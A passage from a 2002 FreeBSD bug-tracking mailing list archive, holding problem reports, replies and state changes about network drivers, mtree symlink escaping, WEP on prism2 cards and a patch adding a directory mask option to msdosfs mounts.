(8.11.6/8.11.6) id g28LA2s86697; Fri, 8 Mar 2002 13:10:02 -0800 (PST) (envelope-from gnats) Date: Fri, 8 Mar 2002 13:10:02 -0800 (PST) Message-Id: <200203082110.g28LA2s86697@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: The Anarcat Subject: Re: kern/35640: heavy collision rate hangs vr network interface Reply-To: The Anarcat Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/35640; it has been noted by GNATS. From: The Anarcat To: freebsd-gnats-submit@FreeBSD.org Cc: Subject: Re: kern/35640: heavy collision rate hangs vr network interface Date: Fri, 08 Mar 2002 15:40:45 -0500 It seems this PR is a duplicate of several others, and that there is a solution for the hanging problems of the vr. Please see: kern/26613: ethernet vr0 hangs kern/17965: vr (MII-bus version in 4.0 ONLY) driver lock-up problems kern/12966: receiver lockups in vr0 driver pr kern/17965 features a fix that should be applied. I will test it in a few minutes. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 13:29:48 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 08D8B37B404; Fri, 8 Mar 2002 13:29:45 -0800 (PST) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.11.4/8.11.6) id g28LTf644313; Fri, 8 Mar 2002 16:29:41 -0500 (EST) (envelope-from wollman) Date: Fri, 8 Mar 2002 16:29:41 -0500 (EST) From: Garrett Wollman Message-Id: <200203082129.g28LTf644313@khavrinen.lcs.mit.edu> To: Tomas Pluskal Cc: freebsd-i18n@FreeBSD.ORG, Subject: Re: multibyte(3) functions not working ? In-Reply-To: <20020308191246.H1072-100000@s096-n062.tele2.cz> References: <200203081811.g28IB2t40133@khavrinen.lcs.mit.edu> <20020308191246.H1072-100000@s096-n062.tele2.cz> Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org < said: > I know that ISO8859-2 is not multibyte encoding, but in fact gnumeric, > gedit (and I believe a lot of other software) expect the multibyte > functions to work anyway (and to work as "translate characters from > current locale's encoding to UNICODE" and reverse). They are broken. (Or perhaps they are relying on new behavior in C99, but I rather doubt it.) > Why does this work in linux ? Because Linux (or rather, glibc) implements it the way these broken programs expect. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 14:50:49 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id D4DAC37B43F for ; Fri, 8 Mar 2002 14:50:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28Mo1d06043; Fri, 8 Mar 2002 14:50:01 -0800 (PST) (envelope-from gnats) Date: Fri, 8 Mar 2002 14:50:01 -0800 (PST) Message-Id: <200203082250.g28Mo1d06043@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Nicolas Rachinsky Subject: Re: bin/35454: mtree can't handle symlinks referencing files which names contain spaces Reply-To: Nicolas Rachinsky Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35454; it has been noted by GNATS. From: Nicolas Rachinsky To: freebsd-gnats-submit@FreeBSD.org Cc: Subject: Re: bin/35454: mtree can't handle symlinks referencing files which names contain spaces Date: Fri, 8 Mar 2002 23:47:04 +0100 I've just created this patch which seems to solve the problem: Index: create.c =================================================================== RCS file: /usr/cvs-freebsd/src/usr.sbin/mtree/create.c,v retrieving revision 1.18.2.3 diff -u -r1.18.2.3 create.c --- create.c 12 Jan 2001 19:17:18 -0000 1.18.2.3 +++ create.c 8 Mar 2002 22:38:18 -0000 @@ -154,7 +154,7 @@ u_long len, val; int fd, offset; char *fflags; - char *escaped_name; + char *escaped_name,*s; escaped_name = calloc(1, p->fts_namelen * 4 + 1); if (escaped_name == NULL) @@ -256,7 +256,18 @@ #endif /* RMD160 */ if (keys & F_SLINK && (p->fts_info == FTS_SL || p->fts_info == FTS_SLNONE)) - output(indent, &offset, "link=%s", rlink(p->fts_accpath)); + { + s=strdup(rlink(p->fts_accpath)); + if(!s) + errx(1, "statf(): strdup() failed"); + escaped_name = calloc(1, strlen(s) * 4 + 1); + if (escaped_name == NULL) + errx(1, "statf(): calloc() failed"); + strvis(escaped_name, s, VIS_WHITE | VIS_OCTAL); + output(indent, &offset, "link=%s", escaped_name); + free(escaped_name); + free(s); + } if (keys & F_FLAGS && p->fts_statp->st_flags != flags) { fflags = flags_to_string(p->fts_statp->st_flags); output(indent, &offset, "flags=%s", fflags); Index: spec.c =================================================================== RCS file: /usr/cvs-freebsd/src/usr.sbin/mtree/spec.c,v retrieving revision 1.13.2.1 diff -u -r1.13.2.1 spec.c --- spec.c 28 Jun 2000 02:33:17 -0000 1.13.2.1 +++ spec.c 8 Mar 2002 22:40:21 -0000 @@ -181,6 +181,7 @@ mode_t *m; int value; char *ep; + char *escaped_string; for (; (kw = strtok(t, "= \t\n")); t = NULL) { ip->flags |= type = parsekey(kw, &value); @@ -250,8 +251,16 @@ lineno, val); break; case F_SLINK: - if ((ip->slink = strdup(val)) == NULL) + if ((escaped_string = strdup(val)) == NULL) errx(1, "strdup"); + if((ip->slink=calloc(1, strlen(escaped_string) + 1)) == NULL) + errx(1, "set(): calloc() failed"); + if (strunvis(ip->slink, escaped_string) == -1) { + warnx("filename %s is ill-encoded and literally used", + escaped_string); + strcpy(ip->slink, escaped_string); + } + free(escaped_string); break; case F_TIME: ip->st_mtimespec.tv_sec = strtoul(val, &ep, 10); To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 15:30:14 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 98E8937B41B for ; Fri, 8 Mar 2002 15:30:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28NU1L15348; Fri, 8 Mar 2002 15:30:01 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 6D31F37B400 for ; Fri, 8 Mar 2002 15:20:47 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28NKlH14388; Fri, 8 Mar 2002 15:20:47 -0800 (PST) (envelope-from nobody) Message-Id: <200203082320.g28NKlH14388@freefall.freebsd.org> Date: Fri, 8 Mar 2002 15:20:47 -0800 (PST) From: Florian Cathala To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: kern/35691: Realtek NIC driver does not work with Realtek 8201L NIC adapter Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35691 >Category: kern >Synopsis: Realtek NIC driver does not work with Realtek 8201L NIC adapter >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: wish >Submitter-Id: current-users >Arrival-Date: Fri Mar 08 15:30:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Florian Cathala >Release: FreeBSD 4.5-STABLE i386 >Organization: EuroServ >Environment: I have just bought a new motherboard, an Abit NV7m, with nForce 420 integrated chipset and NIC adapter included, a Realtek 8201L NIC. >Description: The rl driver has not detected the NIC adapter at boot time with the GENERIC kernel. >How-To-Repeat: Install FreeBSD 4.5-STABLE on a computer with the Abit NV7m motherboard. It won't detect the NIC adapter. >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 15:50:12 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id D4A9237B420 for ; Fri, 8 Mar 2002 15:50:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28No1P17932; Fri, 8 Mar 2002 15:50:01 -0800 (PST) (envelope-from gnats) Date: Fri, 8 Mar 2002 15:50:01 -0800 (PST) Message-Id: <200203082350.g28No1P17932@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: phiber@radicalmedia.com Subject: Re: kern/32124: Cannot set 128 bit wep key on prism2 cards... Reply-To: phiber@radicalmedia.com Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/32124; it has been noted by GNATS. From: phiber@radicalmedia.com To: freebsd-gnats-submit@FreeBSD.org, nsayer@quack.kfu.com Cc: Subject: Re: kern/32124: Cannot set 128 bit wep key on prism2 cards... Date: Fri, 8 Mar 2002 18:46:29 -0500 I have the exact same problem, and was about to file a report when I found this one. I'm using an SMC2632W on a Sony VAIO with a 2655 access point. The setup works fine in Windows on the same machine with WEP enabled, etc. After applying the aforementioned changes to if_wi.c, etc., that you merged in from CURRENT, things SORT OF work. Now, I can ping my access point, which I couldn't do before at all with WEP enabled, with 0% loss. However, if I try to ping, connect, etc., to any machines on my ethernet (or beyond) on the other side of the access point, maybe one out of fifty packets actually gets through (as tcpdump on the other side shows). The same goes for ethernet traffic bound for my laptop. I'm guessing that something about the packets that the wi driver is generating is confusing the access point (maybe) with respect to WEP-128 being enabled. I still find it terribly odd though that I can ping the access point itself from the laptop with no problem, but packets are just barely getting back and forth to the ethernet on the other side (almost not at all). Any further suggestions? -Mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 17:52:56 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 4A10B37B400; Fri, 8 Mar 2002 17:52:53 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g291nwk46459; Fri, 8 Mar 2002 17:49:58 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 17:49:58 -0800 (PST) From: Message-Id: <200203090149.g291nwk46459@freefall.freebsd.org> To: dd@FreeBSD.org, freebsd-bugs@FreeBSD.org, dd@FreeBSD.org Subject: Re: kern/35636: [PATCH] can't input russian chars using watch(8) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: [PATCH] can't input russian chars using watch(8) Responsible-Changed-From-To: freebsd-bugs->dd Responsible-Changed-By: dd Responsible-Changed-When: Fri Mar 8 17:49:43 PST 2002 Responsible-Changed-Why: I look after watch. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35636 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 19:50:17 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 0443E37B416 for ; Fri, 8 Mar 2002 19:50:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g293o1H68402; Fri, 8 Mar 2002 19:50:01 -0800 (PST) (envelope-from gnats) Received: from D00015.dialonly.kemerovo.su (D00015.dialonly.kemerovo.su [213.184.66.105]) by hub.freebsd.org (Postfix) with ESMTP id 3E35C37B400 for ; Fri, 8 Mar 2002 19:47:18 -0800 (PST) Received: (from eugen@localhost) by D00015.dialonly.kemerovo.su (8.11.6/8.11.6) id g293a1O19853; Sat, 9 Mar 2002 10:36:01 +0700 (KRAT) (envelope-from eugen) Message-Id: <200203090336.g293a1O19853@D00015.dialonly.kemerovo.su> Date: Sat, 9 Mar 2002 10:36:01 +0700 (KRAT) From: Eugene Grosbein To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: kern/35699: [PATCH] msdosfs: differrent masks for directories and other files Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35699 >Category: kern >Synopsis: [PATCH] msdosfs: differrent masks for directories and other files >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Fri Mar 08 19:50:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Eugene Grosbein >Release: FreeBSD 4.5-STABLE i386 >Organization: Svyaz Service >Environment: System: FreeBSD 4.5-STABLE #1: Sun Feb 3 15:03:19 KRAT 2002 i386 >Description: It is not possible to mount msdosfs so that one can walk a hierarchy as not root (755 permissions for directories) and so that files are not marked as executable (644 for othe objects). The 'noexec' mount option does not help here - it does not clear 'executable' flag for files. There are some inconviniences. F.e., the mkisofs marks all files as executable in Rock Ridge extentions for ISO9660 image; the Midnight Commander tries to 'execute' archives instead of 'entering into' them etc. The only solution here is using '-m 644' mount option, but then it's possible to walk the hierarchy as root only. The perfect solution would be using different masks for directories and for other filesystem objects. >How-To-Repeat: See description >Fix: This patch introduces new '-M mask' mount option for mount_msdosfs. This mask is used for directories only, if supplied. If -M is used and -m is not then supplied mask is used for all objects. I do not run CURRENT so this patch is for 4.5-STABLE. The patch is for STABLE. It patches kernel, /sbin/mount_msdos and mount_msdos(8) man page. The problem will be solved of using '-M 755 -m 644' mount options. Index: sbin/mount_msdos/mount_msdos.8 =================================================================== RCS file: /home/ncvs/src/sbin/mount_msdos/Attic/mount_msdos.8,v retrieving revision 1.19.2.1 diff -u -r1.19.2.1 mount_msdos.8 --- sbin/mount_msdos/mount_msdos.8 8 Dec 2000 14:03:59 -0000 1.19.2.1 +++ sbin/mount_msdos/mount_msdos.8 19 Jan 2002 05:55:22 -0000 @@ -42,6 +42,7 @@ .Op Fl u Ar uid .Op Fl g Ar gid .Op Fl m Ar mask +.Op Fl M Ar mask .Op Fl s .Op Fl l .Op Fl 9 @@ -105,11 +106,22 @@ for more information about octal file modes.) Only the nine low-order bits of .Ar mask -are used. +are used. The value of +.Ar -M +is used if it is supplied and +.Ar -m +is omitted. The default .Ar mask is taken from the directory on which the file system is being mounted. +.It Fl M Ar mask +Specify the maximum file permissions for directories +in the file system. The value of +.Ar -m +is used if it is supplied and +.Ar -M +is omitted. See description of previous option for details. .It Fl s Force behaviour to ignore and not generate Win'95 long filenames. Index: sbin/mount_msdos/mount_msdos.c =================================================================== RCS file: /home/ncvs/src/sbin/mount_msdos/Attic/mount_msdos.c,v retrieving revision 1.19.2.1 diff -u -r1.19.2.1 mount_msdos.c --- sbin/mount_msdos/mount_msdos.c 20 Jul 2000 10:35:13 -0000 1.19.2.1 +++ sbin/mount_msdos/mount_msdos.c 19 Jan 2002 04:30:27 -0000 @@ -88,15 +88,15 @@ { struct msdosfs_args args; struct stat sb; - int c, error, mntflags, set_gid, set_uid, set_mask; + int c, error, mntflags, set_gid, set_uid, set_mask, set_dirmask; char *dev, *dir, mntpath[MAXPATHLEN]; struct vfsconf vfc; - mntflags = set_gid = set_uid = set_mask = 0; + mntflags = set_gid = set_uid = set_mask = set_dirmask = 0; (void)memset(&args, '\0', sizeof(args)); args.magic = MSDOSFS_ARGSMAGIC; - while ((c = getopt(argc, argv, "sl9u:g:m:o:L:W:")) != -1) { + while ((c = getopt(argc, argv, "sl9u:g:m:M:o:L:W:")) != -1) { switch (c) { #ifdef MSDOSFSMNT_GEMDOSFS case 'G': @@ -124,6 +124,10 @@ args.mask = a_mask(optarg); set_mask = 1; break; + case 'M': + args.dirmask = a_mask(optarg); + set_dirmask = 1; + break; case 'L': load_ultable(&args, optarg); args.flags |= MSDOSFSMNT_ULTABLE; @@ -144,7 +148,16 @@ if (optind + 2 != argc) usage(); - + + if (set_mask && !set_dirmask) { + args.dirmask = args.mask; + set_dirmask = 1; + } + else if (set_dirmask && !set_mask) { + args.mask = args.dirmask; + set_mask = 1; + } + dev = argv[optind]; dir = argv[optind + 1]; @@ -170,7 +183,8 @@ if (!set_gid) args.gid = sb.st_gid; if (!set_mask) - args.mask = sb.st_mode & (S_IRWXU | S_IRWXG | S_IRWXO); + args.mask = args.dirmask = + sb.st_mode & (S_IRWXU | S_IRWXG | S_IRWXO); } error = getvfsbyname("msdos", &vfc); Index: sys/msdosfs/msdosfs_vfsops.c =================================================================== RCS file: /home/ncvs/src/sys/msdosfs/Attic/msdosfs_vfsops.c,v retrieving revision 1.60.2.5 diff -u -r1.60.2.5 msdosfs_vfsops.c --- sys/msdosfs/msdosfs_vfsops.c 4 Nov 2001 18:57:51 -0000 1.60.2.5 +++ sys/msdosfs/msdosfs_vfsops.c 19 Jan 2002 04:47:43 -0000 @@ -113,6 +113,7 @@ pmp->pm_gid = argp->gid; pmp->pm_uid = argp->uid; pmp->pm_mask = argp->mask & ALLPERMS; + pmp->pm_dirmask = argp->dirmask & ALLPERMS; pmp->pm_flags |= argp->flags & MSDOSFSMNT_MNTOPT; if (pmp->pm_flags & MSDOSFSMNT_U2WTABLE) { bcopy(argp->u2w, pmp->pm_u2w, sizeof(pmp->pm_u2w)); @@ -184,7 +185,7 @@ args.flags = 0; args.uid = 0; args.gid = 0; - args.mask = 0777; + args.mask = args.dirmask = 0777; if ((error = mountmsdosfs(rootvp, mp, p, &args)) != 0) { free(mp, M_MOUNT); Index: sys/msdosfs/msdosfs_vnops.c =================================================================== RCS file: /home/ncvs/src/sys/msdosfs/Attic/msdosfs_vnops.c,v retrieving revision 1.95.2.1 diff -u -r1.95.2.1 msdosfs_vnops.c --- sys/msdosfs/msdosfs_vnops.c 18 Jul 2000 13:19:13 -0000 1.95.2.1 +++ sys/msdosfs/msdosfs_vnops.c 19 Jan 2002 05:36:00 -0000 @@ -259,7 +259,7 @@ file_mode = (S_IXUSR|S_IXGRP|S_IXOTH) | (S_IRUSR|S_IRGRP|S_IROTH) | ((dep->de_Attributes & ATTR_READONLY) ? 0 : (S_IWUSR|S_IWGRP|S_IWOTH)); - file_mode &= pmp->pm_mask; + file_mode &= (vp->v_type == VDIR ? pmp->pm_dirmask : pmp->pm_mask); /* * Disallow write attempts on read-only file systems; @@ -358,7 +358,8 @@ mode = S_IRWXU|S_IRWXG|S_IRWXO; else mode = S_IRUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH; - vap->va_mode = mode & pmp->pm_mask; + vap->va_mode = mode & + (ap->a_vp->v_type == VDIR ? pmp->pm_dirmask : pmp->pm_mask); vap->va_uid = pmp->pm_uid; vap->va_gid = pmp->pm_gid; vap->va_nlink = 1; Index: sys/msdosfs/msdosfsmount.h =================================================================== RCS file: /home/ncvs/src/sys/msdosfs/Attic/msdosfsmount.h,v retrieving revision 1.20.2.2 diff -u -r1.20.2.2 msdosfsmount.h --- sys/msdosfs/msdosfsmount.h 27 Oct 2000 09:45:07 -0000 1.20.2.2 +++ sys/msdosfs/msdosfsmount.h 19 Jan 2002 04:42:41 -0000 @@ -65,7 +65,10 @@ dev_t pm_dev; /* block special device mounted */ uid_t pm_uid; /* uid to set as owner of the files */ gid_t pm_gid; /* gid to set as owner of the files */ - mode_t pm_mask; /* mask to and with file protection bits */ + mode_t pm_mask; /* mask to and with file protection bits + for files */ + mode_t pm_dirmask; /* mask to and with file protection bits + for directories */ struct vnode *pm_devvp; /* vnode for block device mntd */ struct bpb50 pm_bpb; /* BIOS parameter blk for this fs */ u_long pm_BlkPerSec; /* How many DEV_BSIZE blocks fit inside a physical sector */ @@ -211,7 +214,8 @@ struct export_args export; /* network export information */ uid_t uid; /* uid that owns msdosfs files */ gid_t gid; /* gid that owns msdosfs files */ - mode_t mask; /* mask to be applied for msdosfs perms */ + mode_t mask; /* file mask to be applied for msdosfs perms */ + mode_t dirmask; /* dir mask to be applied for msdosfs perms */ int flags; /* see below */ int magic; /* version number */ u_int16_t u2w[128]; /* Local->Unicode table */ Eugene Grosbein >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 19:52:55 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 7A4BB37B405; Fri, 8 Mar 2002 19:52:53 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g293qSw70377; Fri, 8 Mar 2002 19:52:28 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 19:52:28 -0800 (PST) From: Message-Id: <200203090352.g293qSw70377@freefall.freebsd.org> To: andrew@ugh.net.au, dd@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/35395: pwd_mkdb doesn't indicate which line is too long Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: pwd_mkdb doesn't indicate which line is too long State-Changed-From-To: open->closed State-Changed-By: dd State-Changed-When: Fri Mar 8 19:52:18 PST 2002 State-Changed-Why: Patch applied, thanks! http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35395 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20: 2:56 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 7BF5937B400; Fri, 8 Mar 2002 20:02:53 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g2941Bk78616; Fri, 8 Mar 2002 20:01:11 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:01:11 -0800 (PST) From: Message-Id: <200203090401.g2941Bk78616@freefall.freebsd.org> To: andrew@ugh.net.au, dd@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/35394: reversed comment in pwd_mkdb/pw_scan.c Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: reversed comment in pwd_mkdb/pw_scan.c State-Changed-From-To: open->closed State-Changed-By: dd State-Changed-When: Fri Mar 8 20:00:58 PST 2002 State-Changed-Why: Patch applied to src/lib/libc/gen/pw_scan.c, thanks! http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35394 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20: 3: 5 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id DD1BC37B416; Fri, 8 Mar 2002 20:02:53 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g293t0i72392; Fri, 8 Mar 2002 19:55:00 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 19:55:00 -0800 (PST) From: Message-Id: <200203090355.g293t0i72392@freefall.freebsd.org> To: dd@FreeBSD.org, freebsd-bugs@FreeBSD.org, bde@FreeBSD.org Subject: Re: misc/35542: BDECFLAGS needs -U__STRICT_ANSI__ Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: BDECFLAGS needs -U__STRICT_ANSI__ Responsible-Changed-From-To: freebsd-bugs->bde Responsible-Changed-By: dd Responsible-Changed-When: Fri Mar 8 19:54:48 PST 2002 Responsible-Changed-Why: BDE should probably decide what goes in BDECFLAGS. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35542 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20:12:57 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 9AB7B37B404; Fri, 8 Mar 2002 20:12:53 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g2949xN89243; Fri, 8 Mar 2002 20:09:59 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:09:59 -0800 (PST) From: Message-Id: <200203090409.g2949xN89243@freefall.freebsd.org> To: hendrik@scholz.net, dd@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/35333: send-pr(1) vim syntax highlighting support (patch) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: send-pr(1) vim syntax highlighting support (patch) State-Changed-From-To: open->suspended State-Changed-By: dd State-Changed-When: Fri Mar 8 20:09:04 PST 2002 State-Changed-Why: This sounds like a good idea, but I'd like to hold off making this change until the vim guys have accepted your send-pr.vim file. I looked at the CVS repository on sourceforge, and it doesn't appear to be there yet. Once it gets there, I'll apply this patch. Thanks. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35333 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20:12:57 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 04E0C37B405; Fri, 8 Mar 2002 20:12:54 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294Bk290667; Fri, 8 Mar 2002 20:11:46 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:11:46 -0800 (PST) From: Message-Id: <200203090411.g294Bk290667@freefall.freebsd.org> To: dd@FreeBSD.org, freebsd-bugs@FreeBSD.org, obrien@FreeBSD.org Subject: Re: gnu/35156: suggestion: hard link /usr/bin/awk to /usr/bin/gawk Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: suggestion: hard link /usr/bin/awk to /usr/bin/gawk Responsible-Changed-From-To: freebsd-bugs->obrien Responsible-Changed-By: dd Responsible-Changed-When: Fri Mar 8 20:10:53 PST 2002 Responsible-Changed-Why: David seems to have kind-of sort-of done this in -current, so he should decide what to do with this PR. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35156 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20:22:43 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id AF4F237B404 for ; Fri, 8 Mar 2002 20:21:20 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294LKJ97510; Fri, 8 Mar 2002 20:21:20 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 45F1937B400 for ; Fri, 8 Mar 2002 20:16:39 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294Gde94327; Fri, 8 Mar 2002 20:16:39 -0800 (PST) (envelope-from nobody) Message-Id: <200203090416.g294Gde94327@freefall.freebsd.org> Date: Fri, 8 Mar 2002 20:16:39 -0800 (PST) From: nobody To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: kern/35700: a small code update Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35700 >Category: kern >Synopsis: a small code update >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Mar 08 20:20:00 PST 2002 >Closed-Date: >Last-Modified: >Originator: nobody >Release: 4.5 >Organization: nobody.com >Environment: FreeBSD bsd 4.5-STABLE FreeBSD 4.5-STABLE #11: Tue 